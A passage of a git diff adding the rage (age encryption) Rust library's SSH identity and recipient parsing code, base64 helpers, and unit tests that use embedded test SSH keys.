"https://str4d.xyz/age-plugin-yubikey", + )?, + UnsupportedKey::Type(key_type) => { + wfl!(f, "ssh-unsupported-key-type", key_type = key_type.as_str())? + } + } + Ok(()) + } +} + +/// An SSH private key for decrypting an age file. +#[derive(Clone)] +pub enum Identity { + /// An unencrypted key. + Unencrypted(UnencryptedKey), + /// An encrypted key. + Encrypted(EncryptedKey), + /// A key that we know how to parse, but that we do not support. + Unsupported(UnsupportedKey), +} + +impl From for Identity { + fn from(key: UnencryptedKey) -> Self { + Identity::Unencrypted(key) + } +} + +impl From for Identity { + fn from(key: EncryptedKey) -> Self { + Identity::Encrypted(key) + } +} + +impl From for Identity { + fn from(key: UnsupportedKey) -> Self { + Identity::Unsupported(key) + } +} + +impl Identity { + /// Parses one or more identities from a buffered input containing valid UTF-8. + /// + /// `filename` is the path to the file that the input is reading from, if any. + pub fn from_buffer(mut data: R, filename: Option) -> io::Result { + let mut buf = String::new(); + loop { + match ssh_identity(&buf) { + Ok((_, mut identity)) => { + // If we know the filename, cache it. + if let Identity::Encrypted(key) = &mut identity { + key.filename = filename; + } + + break Ok(identity); + } + Err(nom::Err::Incomplete(nom::Needed::Size(_))) => { + if data.read_line(&mut buf)? == 0 { + break Err(io::Error::new( + io::ErrorKind::Interrupted, + "incomplete SSH identity in file", + )); + }; + } + Err(_) => { + break Err(io::Error::new( + io::ErrorKind::InvalidData, + "invalid SSH identity", + )); + } + } + } + } + + /// Wraps this identity with the provided callbacks, so that if this is an encrypted + /// identity, it can potentially be decrypted. + pub fn with_callbacks(self, callbacks: C) -> impl crate::Identity { + DecryptableIdentity { + identity: self, + callbacks, + } + } +} + +impl crate::Identity for Identity { + fn unwrap_stanza(&self, stanza: &Stanza) -> Option> { + match self { + Identity::Unencrypted(key) => key.unwrap_stanza(stanza), + Identity::Encrypted(_) | Identity::Unsupported(_) => None, + } + } +} + +struct DecryptableIdentity { + identity: Identity, + callbacks: C, +} + +impl crate::Identity for DecryptableIdentity { + fn unwrap_stanza(&self, stanza: &Stanza) -> Option> { + match &self.identity { + Identity::Unencrypted(key) => key.unwrap_stanza(stanza), + Identity::Encrypted(enc) => { + let passphrase = self.callbacks.request_passphrase(&fl!( + "ssh-passphrase-prompt", + filename = enc.filename.as_deref().unwrap_or_default() + ))?; + let decrypted = match enc.decrypt(passphrase) { + Ok(d) => d, + Err(e) => return Some(Err(e)), + }; + decrypted.unwrap_stanza(stanza) + } + Identity::Unsupported(_) => None, + } + } +} + +fn rsa_pem_encryption_header(input: &str) -> IResult<&str, &str> { + preceded( + tuple((tag("Proc-Type: 4,ENCRYPTED"), newline, tag("DEK-Info: "))), + terminated(is_not("\n"), newline), + )(input) +} + +fn rsa_privkey(input: &str) -> IResult<&str, Identity> { + preceded( + pair(tag("-----BEGIN RSA PRIVATE KEY-----"), line_ending), + terminated( + map_opt( + pair( + opt(terminated(rsa_pem_encryption_header, line_ending)), + wrapped_str_while_encoded(BASE64_STANDARD), + ), + |(enc_header, privkey)| { + if enc_header.is_some() { + Some(UnsupportedKey::EncryptedPem.into()) + } else { + rsa::RsaPrivateKey::from_pkcs1_der(&privkey) + .ok() + .map(|privkey| { + let mut ssh_key = vec![]; + cookie_factory::gen( + write_ssh::rsa_pubkey(&privkey.to_public_key()), + &mut ssh_key, + ) + .expect("can write into a Vec"); + UnencryptedKey::SshRsa(ssh_key, Box::new(privkey)).into() + }) + } + }, + ), + pair(line_ending, tag("-----END RSA PRIVATE KEY-----")), + ), + )(input) +} + +fn openssh_privkey(input: &str) -> IResult<&str, Identity> { + preceded( + pair(tag("-----BEGIN OPENSSH PRIVATE KEY-----"), line_ending), + terminated( + map_opt(wrapped_str_while_encoded(BASE64_STANDARD), |privkey| { + read_ssh::openssh_privkey(&privkey).ok().map(|(_, key)| key) + }), + pair(line_ending, tag("-----END OPENSSH PRIVATE KEY-----")), + ), + )(input) +} + +pub(crate) fn ssh_identity(input: &str) -> IResult<&str, Identity> { + alt((rsa_privkey, openssh_privkey))(input) +} + +#[cfg(test)] +pub(crate) mod tests { + use age_core::{ + format::FileKey, + secrecy::{ExposeSecret, SecretString}, + }; + use std::io::BufReader; + + use super::{Identity, UnsupportedKey}; + use crate::{ + ssh::recipient::{ + tests::{TEST_SSH_ED25519_PK, TEST_SSH_RSA_PK}, + Recipient, + }, + Callbacks, Identity as _, Recipient as _, + }; + + pub(crate) const TEST_SSH_RSA_SK: &str = "-----BEGIN RSA PRIVATE KEY----- +MIIEogIBAAKCAQEAxO5yF0xjbmkQTfbaCP8DQC7kHnPJr5bdIie6Nzmg9lL6Chye +0vK5iJ+BYkA1Hnf1WnNzoVIm3otZPkwZptertkY95JYFmTiA4IvHeL1yiOTd2AYc +a947EPpM9XPomeM/7U7c99OvuCuOl1YlTFsMsoPY/NiZ+NZjgMvb3XgyH0OXy3mh +qp+SsJU+tRjZGfqM1iv2TZUCJTQnKF8YSVCyLPV67XM1slQQHmtZ5Q6NFhzg3j8a +CY5rDR66UF5+Zn/TvN8bNdKn01I50VLePI0ZnnRcuLXK2t0Bpkk0NymZ3vsF10m9 +HCKVyxr2Y0Ejx4BtYXOK97gaYks73rBi7+/VywIDAQABAoIBADGsf8TWtOH9yGoS +ES9hu90ttsbjqAUNhdv+r18Mv0hC5+UzEPDe3uPScB1rWrrDwXS+WHVhtoI+HhWz +tmi6UArbLvOA0Aq1EPUS7Q7Mop5bNIYwDG09EiMXL+BeC1b91nsygFRW5iULf502 +0pOvB8XjshEdRcFZuqGbSmtTzTjLLxYS/aboBtZLHrH4cRlFMpHWCSuJng8Psahp +SnJbkjL7fHG81dlH+M3qm5EwdDJ1UmNkBfoSfGRs2pupk2cSJaL+SPkvNX+6Xyoy +yvfnbJzKUTcV6rf+0S0P0yrWK3zRK9maPJ1N60lFui9LvFsunCLkSAluGKiMwEjb +fm40F4kCgYEA+QzIeIGMwnaOQdAW4oc7hX5MgRPXJ836iALy56BCkZpZMjZ+VKpk +8P4E1HrEywpgqHMox08hfCTGX3Ph6fFIlS1/mkLojcgkrqmg1IrRvh8vvaZqzaAf +GKEhxxRta9Pvm44E2nUY97iCKzE3Vfh+FIyQLRuc+0COu49Me4HPtBUCgYEAym1T +vNZKPfC/eTMh+MbWMsQArOePdoHQyRC38zeWrLaDFOUVzwzEvCQ0IzSs0PnLWkZ4 +xx60wBg5ZdU4iH4cnOYgjavQrbRFrCmZ1KDUm2+NAMw3avcLQqu41jqzyAlkktUL +fZzyqHIBmKYLqut5GslkGnQVg6hB4psutHhiel8CgYA3yy9WH9/C6QBxqgaWdSlW +fLby69j1p+WKdu6oCXUgXW3CHActPIckniPC3kYcHpUM58+o5wdfYnW2iKWB3XYf +RXQiwP6MVNwy7PmE5Byc9Sui1xdyPX75648/pEnnMDGrraNUtYsEZCd1Oa9l6SeF +vv/Fuzvt5caUKkQ+HxTDCQKBgFhqUiXr7zeIvQkiFVeE+a/ovmbHKXlYkCoSPFZm +VFCR00VAHjt2V0PaCE/MRSNtx61hlIVcWxSAQCnDbNLpSnQZa+SVRCtqzve4n/Eo +YlSV75+GkzoMN4XiXXRs5XOc7qnXlhJCiBac3Segdv4rpZTWm/uV8oOz7TseDtNS +tai/AoGAC0CiIJAzmmXscXNS/stLrL9bb3Yb+VZi9zN7Cb/w7B0IJ35N5UOFmKWA +QIGpMU4gh6p52S1eLttpIf2+39rEDzo8pY6BVmEp3fKN3jWmGS4mJQ31tWefupC+ +fGNu+wyKxPnSU3svsuvrOdwwDKvfqCNyYK878qKAAaBqbGT1NJ8= +-----END RSA PRIVATE KEY-----"; + + /// The same SSH key either unencrypted or encrypted with the passphrase "passphrase". + const TEST_SSH_ED25519_SK_LIST: &[(&str, &str)] = &[ + ( + "none", + "-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW +QyNTUxOQAAACB7Ci6nqZYaVvrjm8+XbzII89TsXzP111AflR7WeorBjQAAAJCfEwtqnxML +agAAAAtzc2gtZWQyNTUxOQAAACB7Ci6nqZYaVvrjm8+XbzII89TsXzP111AflR7WeorBjQ +AAAEADBJvjZT8X6JRJI8xVq/1aU8nMVgOtVnmdwqWwrSlXG3sKLqeplhpW+uObz5dvMgjz +1OxfM/XXUB+VHtZ6isGNAAAADHN0cjRkQGNhcmJvbgE= +-----END OPENSSH PRIVATE KEY-----", + ), + ( + "aes256-cbc", + "-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jYmMAAAAGYmNyeXB0AAAAGAAAABC0OgNmiw +QW/kJ8kCmmTA2TAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIHsKLqeplhpW+uOb +z5dvMgjz1OxfM/XXUB+VHtZ6isGNAAAAkPhBKsZoNmaeuWYJQxOl+ofEmue/sFJnW+4IOt +oTrS/orMBJ4b/phQcv/ejWYJ4RYYVhSLiI6hf0KwNGefxI90E8iG/yDOKcrxb34tqDEYrY +FARDaJVRd9QtWLEqoP7pgdBR2BTP7aK1y6Mx3eFDgiQI9f/0Sjxd8V0apOPXv4i4kuQ1Nt +LF7kNlDznn/nyZlg== +-----END OPENSSH PRIVATE KEY-----", + ), + ( + "aes128-ctr", + "-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAACmFlczEyOC1jdHIAAAAGYmNyeXB0AAAAGAAAABBub+J2jZ +gyLfNBpxN08TqrAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIHsKLqeplhpW+uOb +z5dvMgjz1OxfM/XXUB+VHtZ6isGNAAAAkLXOo/xKLiv8ToPkQ9l838+Lps5NAkJ/dnJLt9 +134yXn7q/7DLtsbc6KesgELApQ3Niwirqom+GwDiuNra8/JspF6iz9HZHPjFvdCLQkpQnZ +eB6tzoh6FNmfP2HlQjmJ2w0dNMov4/0PKSAYOnW7kXq0Li/E/Gxju/raMa+pU5guk2B93v +D/wSEe2BjjIuXZ8g== +-----END OPENSSH PRIVATE KEY-----", + ), + ( + "aes192-ctr", + "-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAACmFlczE5Mi1jdHIAAAAGYmNyeXB0AAAAGAAAABCQRxCxO3 +qnd3DPzT+ICJvfAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIHsKLqeplhpW+uOb +z5dvMgjz1OxfM/XXUB+VHtZ6isGNAAAAkIZMU3zFGbvSR/gvmNd9qiKr+/XCxgE3NOCrWe +dIAveOwKzR4eXNO94TN4FF6iZv5USO1m4Mjbn3jiW4pSB6lnfctOCBWR6QPtssH0ZrmXMW +OeOG1Nmlj2FG8LmfVNNrZ9JnXVrQYNqbvkxShb90DEFJwHWRCpzXIJEUepFJPyUPB+xLAm +QMSqncd3IdGNmcQQ== +-----END OPENSSH PRIVATE KEY-----", + ), + ( + "aes256-ctr", + "-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABBSs0SUhQ +958xWERf6ibyf2AAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIHsKLqeplhpW+uOb +z5dvMgjz1OxfM/XXUB+VHtZ6isGNAAAAkLvH9UsJa+ulewsZT2YtEkme1y9UZKI/vUbTms +LVqWdLprBQIm3IClfGso6IPW7+imkwYRHPKYfBYGYuexzO8b+LRiZU5/lDQmsvZA3asNxp +KjW7kUOJnI8dAeaqJa18P7XkAuzcuZmVoCTurqEOSeb5Ww9Nq0csB0zkF22/PeWy3+BZW5 +hDsL1OfQl4WbakZQ== +-----END OPENSSH PRIVATE KEY-----", + ), + ( + "aes256-gcm@openssh.com", + "-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAAFmFlczI1Ni1nY21Ab3BlbnNzaC5jb20AAAAGYmNyeXB0AA +AAGAAAABCPl8ey+kOWEfNDWjsOW+yeAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAA +IHsKLqeplhpW+uObz5dvMgjz1OxfM/XXUB+VHtZ6isGNAAAAkHK4lAYpbPto7eVDnl7RM5 +smu3f1Gi/Ov305gASYkCWxL3cvzxTgP2prG7ky4FS5EnFeCoZU4GR49nMjTtJwVJz9vUmQ +csGgRF9XqsdNcNwroWoIeejitFjrQ/n+zVreeMtCWU3gvVSHV97ZhcBVCxCQyPdeaQoUr9 +k38nvmwdar9EY4Mb7LrSqR6oybE/g9Hjg6cxzVcvDQKga6tJVM5oY= +-----END OPENSSH PRIVATE KEY-----", + ), + ]; + pub(crate) const TEST_SSH_ED25519_SK: &str = TEST_SSH_ED25519_SK_LIST[0].1; + + pub(crate) const TEST_SSH_ECDSA_SK: &str = "-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS +1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQQ0odKVFtwOmuCl6RXfwzExGs9dP9a +V9H5xAfETILMd7sLFgqyOxz1FA84EZV0vKdW5c0HPB7/JxQw0vFmNSWeAAAAqGOGFFJjhh +RSAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBDSh0pUW3A6a4KX +pFd/DMTEaz10/1pX0fnEB8RMgsx3uwsWCrI7HPUUDzgRlXS8p1blzQc8Hv8nFDDS8WY1JZ +4AAAAgBQ5LA+stpdk3TYwB/4xhiOaDHzxaacv+u47ciigD8bQAAAAKc3RyNGRAY3ViZQEC +AwQFBg== +-----END OPENSSH PRIVATE KEY-----"; + + #[derive(Clone)] + struct TestPassphrase(&'static str); + + impl Callbacks for TestPassphrase { + fn display_message(&self, _: &str) { + unimplemented!() + } + + fn confirm(&self, _: &str, _: &str, _: Option<&str>) -> Option { + unimplemented!() + } + + fn request_public_string(&self, _: &str) -> Option { + unimplemented!() + } + + fn request_passphrase(&self, _: &str) -> Option { + Some(SecretString::from(self.0.to_owned())) + } + } + + #[test] + fn ssh_rsa_round_trip() { + let buf = BufReader::new(TEST_SSH_RSA_SK.as_bytes()); + let identity = Identity::from_buffer(buf, None).unwrap(); + match &identity { + Identity::Unencrypted(_) => (), + _ => panic!("key should be unencrypted"), + }; + let pk: Recipient = TEST_SSH_RSA_PK.parse().unwrap(); + + let file_key = FileKey::new(Box::new([12; 16])); + + let (wrapped, labels) = pk.wrap_file_key(&file_key).unwrap(); + assert!(labels.is_empty()); + let unwrapped = identity.unwrap_stanzas(&wrapped); + assert_eq!( + unwrapped.unwrap().unwrap().expose_secret(), + file_key.expose_secret() + ); + } + + #[test] + fn ssh_ed25519_round_trip() { + for (kind, sk) in TEST_SSH_ED25519_SK_LIST { + eprintln!("Testing cipher '{}'", kind); + let buf = BufReader::new(sk.as_bytes()); + let identity = Identity::from_buffer(buf, None).unwrap(); + match (*kind, &identity) { + ("none", Identity::Unencrypted(_)) => (), + ("none", _) => panic!("key should be unencrypted"), + (_, Identity::Encrypted(_)) => (), + (_, Identity::Unsupported(_)) => panic!("{} cipher is unsupported", kind), + (_, _) => panic!("key should be encrypted"), + }; + let identity = identity.with_callbacks(TestPassphrase("passphrase")); + let pk: Recipient = TEST_SSH_ED25519_PK.parse().unwrap(); + + let file_key = FileKey::new(Box::new([12; 16])); + + let (wrapped, labels) = pk.wrap_file_key(&file_key).unwrap(); + assert!(labels.is_empty()); + let unwrapped = identity.unwrap_stanzas(&wrapped); + assert_eq!( + unwrapped.unwrap().unwrap().expose_secret(), + file_key.expose_secret() + ); + } + } + + #[test] + fn ssh_unsupported_key_type() { + let buf = BufReader::new(TEST_SSH_ECDSA_SK.as_bytes()); + let identity = Identity::from_buffer(buf, None).unwrap(); + let unsupported = match &identity { + Identity::Unsupported(res) => res, + _ => panic!("key should be unencrypted"), + }; + assert_eq!( + unsupported, + &UnsupportedKey::Type("ecdsa-sha2-nistp256".to_string()), + ); + } +} diff --git a/lib/rage/age/src/ssh/recipient.rs b/lib/rage/age/src/ssh/recipient.rs new file mode 100644 index 0000000..7dfda4e --- /dev/null +++ b/lib/rage/age/src/ssh/recipient.rs @@ -0,0 +1,310 @@ +use std::collections::HashSet; +use std::fmt; + +use age_core::{ + format::{FileKey, Stanza}, + primitives::{aead_encrypt, hkdf}, + secrecy::ExposeSecret, +}; +use base64::{ + prelude::{BASE64_STANDARD, BASE64_STANDARD_NO_PAD}, + Engine, +}; +use curve25519_dalek::edwards::EdwardsPoint; +use nom::{ + branch::alt, + bytes::streaming::{is_not, tag}, + combinator::map_opt, + sequence::{pair, preceded, separated_pair}, + IResult, +}; +use rand::rngs::OsRng; +use rsa::{traits::PublicKeyParts, Oaep}; +use sha2::Sha256; +use x25519_dalek::{EphemeralSecret, PublicKey as X25519PublicKey, StaticSecret}; + +use super::{ + identity::{Identity, UnencryptedKey}, + read_ssh, ssh_tag, EncryptedKey, UnsupportedKey, SSH_ED25519_KEY_PREFIX, + SSH_ED25519_RECIPIENT_KEY_LABEL, SSH_ED25519_RECIPIENT_TAG, SSH_RSA_KEY_PREFIX, + SSH_RSA_OAEP_LABEL, SSH_RSA_RECIPIENT_TAG, +}; +use crate::{ + error::EncryptError, + util::read::{encoded_str, str_while_encoded}, +}; + +/// A key that can be used to encrypt a file to a recipient. +#[derive(Clone, Debug)] +pub enum Recipient { + /// An ssh-rsa public key. + SshRsa(Vec, rsa::RsaPublicKey), + /// An ssh-ed25519 public key. + SshEd25519(Vec, EdwardsPoint), +} + +pub(crate) enum ParsedRecipient { + Supported(Recipient), + RsaModulusTooLarge, + RsaModulusTooSmall, + Unsupported(String), +} + +/// Error conditions when parsing an SSH recipient. +#[derive(Debug, PartialEq, Eq)] +pub enum ParseRecipientKeyError { + /// The string is a parseable value that should be ignored. This case is for handling + /// SSH recipient types that may occur in files we want to be able to parse, but that + /// we do not directly support. + Ignore, + /// The string is not a valid SSH recipient. + Invalid(&'static str), + /// The string is an `ssh-rsa` public key with a modulus larger than we support. + RsaModulusTooLarge, + /// The string is a weak `ssh-rsa` public key with a modulus smaller than 2048 bits. + RsaModulusTooSmall, + /// The string is a parseable value that corresponds to an unsupported SSH key type. + Unsupported(String), +} + +impl std::str::FromStr for Recipient { + type Err = ParseRecipientKeyError; + + /// Parses an SSH recipient from a string. + fn from_str(s: &str) -> Result { + match ssh_recipient(rsa::RsaPublicKey::MAX_SIZE)(s) { + Ok((_, ParsedRecipient::Supported(pk))) => Ok(pk), + Ok((_, ParsedRecipient::RsaModulusTooLarge)) => { + Err(ParseRecipientKeyError::RsaModulusTooLarge) + } + Ok((_, ParsedRecipient::RsaModulusTooSmall)) => { + Err(ParseRecipientKeyError::RsaModulusTooSmall) + } + Ok((_, ParsedRecipient::Unsupported(key_type))) => { + Err(ParseRecipientKeyError::Unsupported(key_type)) + } + _ => Err(ParseRecipientKeyError::Invalid("invalid SSH recipient")), + } + } +} + +impl fmt::Display for Recipient { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { + match self { + Recipient::SshRsa(ssh_key, _) => { + write!( + f, + "{} {}", + SSH_RSA_KEY_PREFIX, + BASE64_STANDARD.encode(ssh_key) + ) + } + Recipient::SshEd25519(ssh_key, _) => { + write!( + f, + "{} {}", + SSH_ED25519_KEY_PREFIX, + BASE64_STANDARD.encode(ssh_key) + ) + } + } + } +} + +impl TryFrom for Recipient { + type Error = ParseRecipientKeyError; + + fn try_from(identity: Identity) -> Result { + match identity { + Identity::Unencrypted(UnencryptedKey::SshRsa(ssh_key, _)) + | Identity::Unencrypted(UnencryptedKey::SshEd25519(ssh_key, _)) + | Identity::Encrypted(EncryptedKey { ssh_key, .. }) => { + if let Ok((_, pk)) = read_ssh::rsa_pubkey(rsa::RsaPublicKey::MAX_SIZE)(&ssh_key) { + if let Some(pk) = pk { + Ok(Recipient::SshRsa(ssh_key, pk)) + } else { + Err(ParseRecipientKeyError::RsaModulusTooLarge) + } + } else if let Ok((_, pk)) = read_ssh::ed25519_pubkey(&ssh_key) { + Ok(Recipient::SshEd25519(ssh_key, pk)) + } else if let Ok((_, key_type)) = read_ssh::string(&ssh_key) { + Err(ParseRecipientKeyError::Unsupported( + String::from_utf8_lossy(key_type).to_string(), + )) + } else { + Err(ParseRecipientKeyError::Invalid( + "Invalid SSH pubkey in SSH privkey", + )) + } + } + Identity::Unsupported( + UnsupportedKey::Hardware(key_type) | UnsupportedKey::Type(key_type), + ) => Err(ParseRecipientKeyError::Unsupported(key_type)), + Identity::Unsupported(_) => Err(ParseRecipientKeyError::Ignore), + } + } +} + +impl crate::Recipient for Recipient { + fn wrap_file_key( + &self, + file_key: &FileKey, + ) -> Result<(Vec, HashSet), EncryptError> { + let mut rng = OsRng; + + let stanzas = match self { + Recipient::SshRsa(ssh_key, pk) => { + let encrypted_file_key = pk + .encrypt( + &mut rng, + Oaep::new_with_label::(SSH_RSA_OAEP_LABEL), + file_key.expose_secret(), + ) + .expect("pubkey is valid and file key is not too long"); + + let encoded_tag = BASE64_STANDARD_NO_PAD.encode(ssh_tag(ssh_key)); + + vec![Stanza { + tag: SSH_RSA_RECIPIENT_TAG.to_owned(), + args: vec![encoded_tag], + body: encrypted_file_key, + }] + } + Recipient::SshEd25519(ssh_key, ed25519_pk) => { + let pk: X25519PublicKey = ed25519_pk.to_montgomery().to_bytes().into(); + + let esk = EphemeralSecret::random_from_rng(rng); + let epk: X25519PublicKey = (&esk).into(); + + let tweak: StaticSecret = + hkdf(ssh_key, SSH_ED25519_RECIPIENT_KEY_LABEL, &[]).into(); + let shared_secret = + tweak.diffie_hellman(&(*esk.diffie_hellman(&pk).as_bytes()).into()); + + let mut salt = [0; 64]; + salt[..32].copy_from_slice(epk.as_bytes()); + salt[32..].copy_from_slice(pk.as_bytes()); + + let enc_key = hkdf( + &salt, + SSH_ED25519_RECIPIENT_KEY_LABEL, + shared_secret.as_bytes(), + ); + let encrypted_file_key = aead_encrypt(&enc_key, file_key.expose_secret()); + + let encoded_tag = BASE64_STANDARD_NO_PAD.encode(ssh_tag(ssh_key)); + let encoded_epk = BASE64_STANDARD_NO_PAD.encode(epk.as_bytes()); + + vec![Stanza { + tag: SSH_ED25519_RECIPIENT_TAG.to_owned(), + args: vec![encoded_tag, encoded_epk], + body: encrypted_file_key, + }] + } + }; + + Ok((stanzas, HashSet::new())) + } +} + +fn ssh_rsa_pubkey(max_size: usize) -> impl Fn(&str) -> IResult<&str, ParsedRecipient> { + move |input: &str| { + preceded( + pair(tag(SSH_RSA_KEY_PREFIX), tag(" ")), + map_opt( + str_while_encoded(BASE64_STANDARD_NO_PAD), + |ssh_key| match read_ssh::rsa_pubkey(max_size)(&ssh_key) { + Ok((_, Some(pk))) => Some(if pk.n().bits() < 2048 { + ParsedRecipient::RsaModulusTooSmall + } else { + ParsedRecipient::Supported(Recipient::SshRsa(ssh_key, pk)) + }), + Ok((_, None)) => Some(ParsedRecipient::RsaModulusTooLarge), + Err(_) => None, + }, + ), + )(input) + } +} + +fn ssh_ed25519_pubkey(input: &str) -> IResult<&str, ParsedRecipient> { + preceded( + pair(tag(SSH_ED25519_KEY_PREFIX), tag(" ")), + map_opt( + encoded_str(51, BASE64_STANDARD_NO_PAD), + |ssh_key| match read_ssh::ed25519_pubkey(&ssh_key) { + Ok((_, pk)) => Some(ParsedRecipient::Supported(Recipient::SshEd25519( + ssh_key, pk, + ))), + Err(_) => None, + }, + ), + )(input) +} + +fn ssh_ignore_pubkey(input: &str) -> IResult<&str, ParsedRecipient> { + // We rely on the invariant that SSH public keys are always of the form + // `key_type Base64(string(key_type) || ...)` to detect valid pubkeys. + map_opt( + separated_pair( + is_not(" "), + tag(" "), + str_while_encoded(BASE64_STANDARD_NO_PAD), + ), + |(key_type, ssh_key)| { + read_ssh::string_tag(key_type)(&ssh_key) + .map(|_| ParsedRecipient::Unsupported(key_type.to_string())) + .ok() + }, + )(input) +} + +pub(crate) fn ssh_recipient(max_size: usize) -> impl Fn(&str) -> IResult<&str, ParsedRecipient> { + move |input| { + alt(( + ssh_rsa_pubkey(max_size), + ssh_ed25519_pubkey, + ssh_ignore_pubkey, + ))(input) + } +} + +#[cfg(test)] +pub(crate) mod tests { + use super::{ParseRecipientKeyError, Recipient}; + + pub(crate) const TEST_SSH_RSA_PK: &str = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE7nIXTGNuaRBN9toI/wNALuQec8mvlt0iJ7o3OaD2UvoKHJ7S8rmIn4FiQDUed/Vac3OhUibei1k+TBmm16u2Rj3klgWZOIDgi8d4vXKI5N3YBhxr3jsQ+kz1c+iZ4z/tTtz306+4K46XViVMWwyyg9j82Jn41mOAy9vdeDIfQ5fLeaGqn5KwlT61GNkZ+ozWK/ZNlQIlNCcoXxhJULIs9XrtczWyVBAea1nlDo0WHODePxoJjmsNHrpQXn5mf9O83xs10qfTUjnRUt48jRmedFy4tcra3QGmSTQ3KZne+wXXSb0cIpXLGvZjQSPHgG1hc4r3uBpiSzvesGLv79XL alice@rust"; + pub(crate) const TEST_SSH_ED25519_PK: &str = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHsKLqeplhpW+uObz5dvMgjz1OxfM/XXUB+VHtZ6isGN alice@rust"; + const TEST_SSH_UNSUPPORTED_PK: &str = "ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHFliOyIZs1gxGF3fmDxFykQhE88wy6AKDGFBfn0R6ZuvRmENABZQa9+pj9hMki+LX0qDJbmHTiWDbYv/cmFt/Q="; + const TEST_SSH_INVALID_PK: &str = "ecdsa-sha2-nistp256 AAAAC3NzaC1lZDI1NTE5AAAAIHsKLqeplhpW+uObz5dvMgjz1OxfM/XXUB+VHtZ6isGN alice@rust"; + + #[test] + fn ssh_rsa_encoding() { + let pk: Recipient = TEST_SSH_RSA_PK.parse().unwrap(); + assert_eq!(pk.to_string() + " alice@rust", TEST_SSH_RSA_PK); + } + + #[test] + fn ssh_ed25519_encoding() { + let pk: Recipient = TEST_SSH_ED25519_PK.parse().unwrap(); + assert_eq!(pk.to_string() + " alice@rust", TEST_SSH_ED25519_PK); + } + + #[test] + fn ssh_unsupported_key_type() { + let pk: Result = TEST_SSH_UNSUPPORTED_PK.parse(); + assert_eq!( + pk.unwrap_err(), + ParseRecipientKeyError::Unsupported("ecdsa-sha2-nistp256".to_string()), + ); + } + + #[test] + fn ssh_invalid_encoding() { + let pk: Result = TEST_SSH_INVALID_PK.parse(); + assert_eq!( + pk.unwrap_err(), + ParseRecipientKeyError::Invalid("invalid SSH recipient") + ); + } +} diff --git a/lib/rage/age/src/util.rs b/lib/rage/age/src/util.rs new file mode 100644 index 0000000..ed8ec28 --- /dev/null +++ b/lib/rage/age/src/util.rs @@ -0,0 +1,129 @@ +use bech32::{FromBase32, Variant}; + +#[cfg(all(any(feature = "armor", feature = "cli-common"), windows))] +pub(crate) const LINE_ENDING: &str = "\r\n"; +#[cfg(all(any(feature = "armor", feature = "cli-common"), not(windows)))] +pub(crate) const LINE_ENDING: &str = "\n"; + +pub(crate) fn parse_bech32(s: &str) -> Option<(String, Vec)> { + bech32::decode(s).ok().and_then(|(hrp, data, variant)| { + if let Variant::Bech32 = variant { + Vec::from_base32(&data).ok().map(|d| (hrp, d)) + } else { + None + } + }) +} + +pub(crate) mod read { + use std::str::FromStr; + + use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; + use nom::{character::complete::digit1, combinator::verify, ParseTo}; + + #[cfg(feature = "ssh")] + use nom::{ + combinator::map_res, + error::{make_error, ErrorKind}, + multi::separated_list1, + IResult, + }; + + #[cfg(feature = "ssh")] + #[cfg_attr(docsrs, doc(cfg(feature = "ssh")))] + pub(crate) fn encoded_str( + count: usize, + engine: impl base64::Engine, + ) -> impl Fn(&str) -> IResult<&str, Vec> { + use nom::bytes::streaming::take; + + // Unpadded encoded length + let encoded_count = ((4 * count) + 2) / 3; + + move |input: &str| { + let (i, data) = take(encoded_count)(input)?; + match engine.decode(data) { + Ok(decoded) => Ok((i, decoded)), + Err(_) => Err(nom::Err::Failure(make_error(input, ErrorKind::Eof))), + } + } + } + + #[cfg(feature = "ssh")] + #[cfg_attr(docsrs, doc(cfg(feature = "ssh")))] + pub(crate) fn str_while_encoded( + engine: impl base64::Engine, + ) -> impl Fn(&str) -> IResult<&str, Vec> { + use nom::bytes::complete::take_while1; + + move |input: &str| { + map_res( + take_while1(|c| { + let c = c as u8; + // Substitute the character in twice after AA, so that padding + // characters will also be detected as a valid if allowed. + engine.decode_slice([65, 65, c, c], &mut [0, 0, 0]).is_ok() + }), + |data| engine.decode(data), + )(input) + } + } + + #[cfg(feature = "ssh")] + #[cfg_attr(docsrs, doc(cfg(feature = "ssh")))] + pub(crate) fn wrapped_str_while_encoded( + engine: impl Engine, + ) -> impl Fn(&str) -> IResult<&str, Vec> { + use nom::{bytes::streaming::take_while1, character::streaming::line_ending}; + + move |input: &str| { + map_res( + separated_list1( + line_ending, + take_while1(|c| { + let c = c as u8; + // Substitute the character in twice after AA, so that padding + // characters will also be detected as a valid if allowed. + engine.decode_slice([65, 65, c, c], &mut [0, 0, 0]).is_ok() + }), + ), + |chunks| { + let data = chunks.join(""); + engine.decode(&data) + }, + )(input) + } + } + + pub(crate) fn base64_arg, const N: usize, const B: usize>( + arg: &A, + ) -> Option<[u8; N]> { + if N > B { + return None; + } + + let mut buf = [0; B]; + match BASE64_STANDARD_NO_PAD.decode_slice(arg, buf.as_mut()) 